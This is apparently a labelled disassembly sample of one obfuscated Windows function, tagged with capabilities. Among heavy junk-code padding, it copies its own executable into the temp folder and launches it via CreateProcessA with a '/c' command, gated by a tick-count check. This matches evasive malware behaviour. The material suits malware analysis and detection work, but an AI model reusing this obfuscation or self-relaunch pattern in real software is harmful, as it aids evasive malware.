Function at 0x14000b0d0
Capabilities:
Check for time delay via gettickcount
Copy file
Create process on windows
Create process suspended
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x330], xmm6
movzx r13d, cl
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xad
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, r13d
sub rsp, 0x20
mov ecx, 0x7afafa69
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
or edi, eax
sub rsp, 0x20
mov ecx, 0xa061440
call fcn.1400058b0
add rsp, 0x20
and edi, eax
sub rsp, 0x20
mov ecx, 0x1050504
mov edx, 0x3f
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
and esi, r13d
sub rsp, 0x20
mov ecx, 0x1010104
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
or esi, eax
add esi, edi
sub rsp, 0x20
mov ecx, 0xb071544
mov edx, 0xbc3d5d
call fcn.1400058b0
add rsp, 0x20
xor esi, eax
sub rsp, 0x20
movabs rcx, 0x23de945d78dfda3e
mov edx, r13d
call fcn.1400058b0
xor ecx, ecx
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
lea ebx, [rsi + r13]
mov eax, esi
xor eax, r13d
sub ebx, eax
mov edi, esi
and edi, r13d
sub rsp, 0x20
mov ecx, 1
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov edx, edi
mov ecx, eax
shl edx, cl
xor edx, ebx
mov qword [rbp + 0x310], rdx
sub rsp, 0x20
movabs rcx, 0xdc216ba287202612
mov edx, r13d
call fcn.1400058b0
mov r8d, 0x82b55e
xor ecx, ecx
mov edx, r13d
call fcn.1400058b0
mov ecx, 1
mov edx, 0x34
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, ebx
sub rsp, 0x20
movabs rcx, 0x21f309fb5640e6f7
call fcn.1400058b0
xor ecx, ecx
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x88
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
xor r12d, edi
mov rax, rsi
or r12d, eax
mov r14, rsi
or esi, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xbe1bd5
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
mov qword [rbp + 0x308], r14
xor ebx, r14d
sub rsp, 0x20
mov ecx, 2
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
mov qword [rbp + 0x300], rdi
sub eax, edi
xor r14d, edi
sub r14d, r12d
sub r14d, r15d
xor r14d, eax
sub rsp, 0x20
mov ecx, 0xd1
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
or r15d, r13d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
and r15d, eax
imul r15d, r15d
sub rsp, 0x20
mov ecx, 0x29d5
mov edx, 0x3af080
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
imul r15d, eax
sub rsp, 0x20
mov ecx, 0x98
mov edx, 0x9f
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xf38f
mov edx, r13d
call fcn.1400058b0
movabs rcx, 0xd3eaf55ae957baa7
mov edx, 0x6d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
xor rdi, rax
mov qword [rbp + 0x320], rdi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd2
mov r8d, 0x7d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, r14d
or edi, r15d
mov esi, r15d
or esi, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
mov qword [rbp + 0x318], r15
xor ebx, r15d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x59
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
sub eax, r14d
xor r14d, r15d
sub r14d, edi
sub r14d, r12d
xor r14d, eax
sub rsp, 0x20
movabs rcx, 0x2db8d0adaec74a4b
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
xor rsi, rax
imul rsi, qword [rbp + 0x320]
mov qword [rbp + 0x320], rsi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x34
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, r14d
mov r12, qword [rbp + 0x300]
or ebx, r12d
mov esi, r12d
or esi, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, r12d
sub rsp, 0x20
mov ecx, 2
mov r8d, 0xff
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
sub eax, r14d
xor r14d, r12d
sub r14d, ebx
sub r14d, r15d
xor r14d, eax
mov dword [rbp + 0x2f4], r14d
movabs rdi, 0x6aab2b2784b6fb17
lea rcx, [rdi + 0x84]
sub rsp, 0x20
mov edx, 0xf33002
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
lea esi, [r12 + r13]
mov eax, r13d
xor eax, r12d
sub esi, eax
and r12d, r13d
mov r14, r12
sub rsp, 0x20
mov ecx, 1
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl r14d, cl
xor r14d, esi
sub rsp, 0x20
mov rcx, rdi
mov edx, r13d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x1d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x85a861
mov rcx, qword [rbp + 0x320]
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov ecx, 0x8c
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
sub rsp, 0x10
mov byte [rsp + 0x20], al
lea rcx, [0x14000ffe8]
lea rdx, [rbp + 0x180]
mov r8, rdi
mov r9, rbx
call fcn.1400058c0
add rsp, 0x30
mov qword [rbp + 0x2f8], rax
mov r15, qword [rbp + 0x310]
lea esi, [r15 + r13]
mov eax, r15d
xor eax, r13d
sub esi, eax
mov edi, r15d
and edi, r13d
sub rsp, 0x20
mov ecx, 1
mov edx, 0xad
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, esi
mov dword [rbp + 0x320], edi
sub rsp, 0x20
movabs rcx, 0xf7cee40d3a5c9fc
mov edx, r13d
call fcn.1400058b0
mov edx, 0x889b4d
mov r8d, 0xc8
xor ecx, ecx
call fcn.1400058b0
mov ecx, 1
mov edx, 0x1f
call fcn.1400058b0
movabs rcx, 0xf08311bf2c5a3605
mov edx, 0x48
mov r8d, r13d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x3a
mov edx, 0x88
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xc775
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xfa
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov r12, qword [rbp + 0x318]
or r12d, eax
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
and r12d, eax
imul r12d, r12d
sub rsp, 0x20
mov ecx, 0x9521
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
imul r12d, eax
mov qword [rbp + 0x318], r12
sub rsp, 0x20
movabs rcx, 0x9da73557115e14e
mov r8d, 0xc6
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xf
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xa2
mov r8d, 0x4d
call fcn.1400058b0
mov ecx, 0x9cc1
mov edx, r13d
call fcn.1400058b0
mov ecx, 0x12
mov edx, 0xf6
call fcn.1400058b0
mov ecx, 0xff
mov edx, r13d
call fcn.1400058b0
mov ecx, 0x90e9
mov edx, 0xa4
call fcn.1400058b0
movabs rcx, 0xf6258caa8eea1eb3
mov r8d, 0x36
mov edx, r13d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rdi, r14
mov rcx, qword [rbp + 0x308]
lea esi, [r14 + rcx]
mov eax, edi
xor eax, ecx
sub esi, eax
and edi, ecx
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, esi
mov qword [rbp + 0x300], rdi
sub rsp, 0x20
movabs rcx, 0x34f669d71493f4ef
call fcn.1400058b0
xor ecx, ecx
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 1
mov edx, r13d
call fcn.1400058b0
movabs rcx, 0xcb099628eb6c0b12
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, r15d
mov r12d, dword [rbp + 0x2f4]
or ebx, r12d
mov esi, r12d
or esi, r15d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, r12d
sub rsp, 0x20
mov ecx, 2
mov edx, 0xe8
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
sub eax, r15d
xor r12d, r15d
sub r12d, ebx
sub r12d, r14d
xor r12d, eax
add r12d, 0xca097771
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xf4f5c8
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xda
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0x44
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, 0xaf3e8a
call fcn.1400058b0
movabs rcx, 0xabf05a9602066991
mov r8d, 0xf43ca9
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x92
xor ecx, ecx
xor r8d, r8d
call fcn.1400058b0
add rsp, 0x20
add eax, edi
imul eax, r12d
imul rax, rax, 0x68
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x310], rsp
sub rsp, 0x20
mov ecx, 1
mov edx, 0x518dd8
mov r8d, r13d
call fcn.1400058b0
movabs rcx, 0x43ead05ae7c98ff7
mov edx, 0x6d
call fcn.1400058b0
mov edx, 0x22
xor ecx, ecx
call fcn.1400058b0
movabs rcx, 0xe3e94d216b3fe1c7
mov edx, 0x71
mov r8d, r13d
call fcn.1400058b0
xor ecx, ecx
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 1
mov edx, r13d
call fcn.1400058b0
movabs rcx, 0x7702170baa41993
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov edx, 0x44
xor ecx, ecx
call fcn.1400058b0
mov ecx, 9
mov edx, r13d
mov r8d, r13d
mov r9d, r13d
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xb6d7
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0x25
mov edx, 0x49
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x64
call fcn.1400058b0
mov ecx, 0xc655
call fcn.1400058b0
movabs rcx, 0xf88fde8f455be76d
mov edx, 0xb6
mov r8d, 0x5a26d8
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xorps xmm6, xmm6
movaps xmmword [rbp + 0x1f0], xmm6
movaps xmmword [rbp + 0x200], xmm6
movaps xmmword [rbp + 0x210], xmm6
movaps xmmword [rbp + 0x220], xmm6
movaps xmmword [rbp + 0x230], xmm6
movaps xmmword [rbp + 0x240], xmm6
movaps xmmword [rbp + 0x250], xmm6
movaps xmmword [rbp + 0x260], xmm6
movaps xmmword [rbp + 0x270], xmm6
movaps xmmword [rbp + 0x280], xmm6
movaps xmmword [rbp + 0x290], xmm6
movaps xmmword [rbp + 0x2a0], xmm6
movaps xmmword [rbp + 0x2b0], xmm6
movaps xmmword [rbp + 0x2c0], xmm6
movaps xmmword [rbp + 0x2d0], xmm6
movaps xmmword [rbp + 0x2e0], xmm6
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov qword [rbp + 0x308], rax
sub rsp, 0x20
mov ecx, 0xbd
mov edx, 0xda
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x7d
call fcn.1400058b0
mov ecx, 0x58c1
mov edx, r13d
call fcn.1400058b0
mov ecx, 0x57
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xff
mov r9d, 0x7a
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0x14bd
call fcn.1400058b0
movabs rcx, 0x335b2c14d0046a4f
mov edx, 0x6b
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor r15d, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
mov r14d, dword [rbp + 0x320]
xor edi, r14d
mov rcx, qword [rbp + 0x318]
or edi, ecx
mov esi, ecx
or esi, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0xf1
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x9a
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
mov rsi, qword [rbp + 0x318]
xor ebx, esi
sub rsp, 0x20
mov ecx, 2
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
imul ebx, eax
sub ebx, r14d
mov rax, rsi
xor eax, r14d
sub eax, edi
sub eax, r12d
xor eax, ebx
mov rdi, rax
sub rsp, 0x20
movabs rcx, 0xcca4d3eb2ffb96b1
call fcn.1400058b0
add rsp, 0x20
add eax, edi
add r15d, eax
sub rsp, 0x20
mov edx, 0x6b9402
mov rcx, r15
mov r8d, r13d
call fcn.1400058b0
lea rdx, [rbp + 0x1f0]
mov rcx, qword [rbp + 0x308]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov dword [rbp + 0x32c], eax
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
movabs rbx, 0x8e109a303760e0f
mov rcx, rbx
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov edx, 0x6d
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add r14d, eax
mov rcx, qword [rbp + 0x300]
lea esi, [rcx + rdi]
mov eax, ecx
xor eax, edi
sub esi, eax
and edi, ecx
sub rsp, 0x20
mov ecx, 1
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, esi
or rbx, 0x100
sub rsp, 0x20
mov rcx, rbx
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
add edi, eax
xor edi, r14d
sub rsp, 0x20
mov edx, 0xebc762
mov rcx, rdi
call fcn.1400058b0
lea rdx, [rbp + 0x80]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov dword [rbp + 0x328], eax
sub rsp, 0x20
test r13b, r13b
je 0x14000c3fc
mov r15, qword [sym.imp.KERNEL32.dll_GetTickCount]
call r15
add rsp, 0x20
mov esi, eax
mov rax, qword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 1
mov edx, 8
mov r8d, esi
call fcn.1400058b0
movabs rcx, 0x7aaef6ddd5e8b373
mov r8d, 0xc6
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x8d
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x1a
mov r8d, 0x7a
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, 7
mov edx, 0xeb
call fcn.1400058b0
add rsp, 0x20
mov rcx, rax
mov eax, esi
xor edx, edx
div ecx
mov r12d, eax
sub rsp, 0x20
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
movabs r14, 0xa3c24c0c09da181
lea rcx, [r14 + 0xe8]
sub rsp, 0x20
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov r8d, 0xc8
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
xor r13d, eax
mov rdi, qword [rbp + 0x2f8]
mov ebx, dword [rbp + 0x328]
add ebx, edi
mov eax, dword [rbp + 0x328]
xor eax, edi
sub ebx, eax
and edi, dword [rbp + 0x328]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xa8
mov r8d, 0x1e3a6c
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
sub rsp, 0x20
mov rcx, r14
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rcx, rax
xor ecx, ebx
xor ecx, edi
xor ecx, r13d
mov eax, r12d
xor edx, edx
div ecx
mov r14d, edx
sub rsp, 0x20
mov ecx, 1
mov edx, 0xacf1e3
call fcn.1400058b0
movabs rcx, 0x3b12459063a7f6f3
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x781d38
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xdb
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
movabs rcx, 0xb6d27f6dc89f123b
mov edx, 0x16
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, 1
mov edx, 0x96
call fcn.1400058b0
add rsp, 0x20
add r14d, eax
sub rsp, 0x20
call r15
add rsp, 0x20
mov r15d, eax
mov eax, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0x7ebcddef9ec632f9
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x935ed2
mov r8d, 0x1b
xor ecx, ecx
mov r9d, esi
call fcn.1400058b0
add rsp, 0x20
add edi, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x96
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.1400058b0
movabs rcx, 0x814322106139cd0a
mov edx, 8
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0xd2
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rcx, rax
add ecx, ebx
add ecx, edi
mov eax, r15d
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400058b0
movabs rbx, 0x3abf78e71b8aad86
mov edx, 0xb1
mov rcx, rbx
call fcn.1400058b0
mov r8d, 4
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, 1
mov edx, 0x347a21
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
add rbx, 0x5c
sub rsp, 0x20
mov edx, 0xa14b96
mov r8d, 4
mov rcx, rbx
call fcn.1400058b0
mov ecx, 0x64
call fcn.1400058b0
add rsp, 0x20
mov rcx, rax
mov eax, edi
xor edx, edx
div ecx
mov ebx, edx
sub rsp, 0x20
mov ecx, 4
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xad
mov r8d, 0x10
call fcn.1400058b0
mov ecx, 0x363b
call fcn.1400058b0
mov ecx, 0x22
mov edx, 0x6d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x3de5da
call fcn.1400058b0
mov ecx, 0xcd09
call fcn.1400058b0
movabs rdi, 0x1e290d02c1490072
mov rcx, rdi
call fcn.1400058b0
mov edx, 0x3b8c01
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xffffffff
mov r8d, 0xb4
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0xdf
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, 0x329860
call fcn.1400058b0
add rsp, 0x20
or rdi, 1
sub rsp, 0x20
mov rcx, rdi
mov edx, esi
call fcn.1400058b0
mov ecx, 1
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
add ebx, eax
sub rsp, 0x20
mov rcx, rbx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, r14
mov edx, esi
call fcn.1400058b0
sub rsp, 0x10
mov dword [rsp + 0x20], eax
lea rdi, [rbp - 0x80]
lea rdx, [rbp + 0x180]
lea r8, [rbp + 0x80]
mov rcx, rdi
mov r9d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x10
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
lea rcx, [rbp + 0x1f0]
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0xffffffff
mov r9d, 0xd9
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 2
call fcn.1400058b0
movabs rcx, 0x3f58b4aa6a66941
call fcn.1400058b0
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0xfc0a74b559599727
mov edx, 0x36
mov r8d, 0xa4081c
call fcn.1400058b0
mov edx, 0xd354e1
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rbx, qword [rbp + 0x310]
movups xmmword [rbx], xmm6
movups xmmword [rbx + 0x10], xmm6
movups xmmword [rbx + 0x20], xmm6
movups xmmword [rbx + 0x30], xmm6
movups xmmword [rbx + 0x40], xmm6
movups xmmword [rbx + 0x50], xmm6
mov qword [rbx + 0x60], 0
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400058b0
movabs rcx, 0x190f7eeb633d307d
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
movabs rcx, 0xe6f081149cc2cfeb
mov edx, esi
call fcn.1400058b0
mov ecx, 0x68
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov dword [rbx], eax
mov qword [rbx + 0x10], 0
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
sub rsp, 0x20
mov edx, esi
call fcn.1400058b0
sub rsp, 0x30
lea rcx, [rbp + 0x1d8]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rbx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rdx, str._c___Se
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
jmp 0x14000c59f
mov ecx, pe_nt_image_headers64
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x328]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x6157
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0x12
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0x63f5
mov edx, r13d
call fcn.1400058b0
movabs rcx, 0xbef68154a98fe22d
mov edx, 0xf6
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add r15, rax
mov rsi, qword [rbp + 0x2f8]
sub rsp, 0x20
mov ecx, 0xd
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, esi
sub rsp, 0x20
mov ecx, 0xff
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0xbef3
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
imul r12d, edi
sub rsp, 0x20
mov ecx, 0xb7
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xcf4d
mov r8d, 0x34
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
xor esi, esi
cmp r12d, eax
sete sil
sub rsp, 0x20
movabs rcx, 0xb051f621345ed280
call fcn.1400058b0
add rsp, 0x20
sub rax, rsi
imul r15, rax
sub rsp, 0x20
lea rcx, [0x14001114c]
lea rdx, [rbp + 0x1f0]
mov r8, r15
call fcn.140005880
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x330]
lea rsp, [rbp + 0x348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret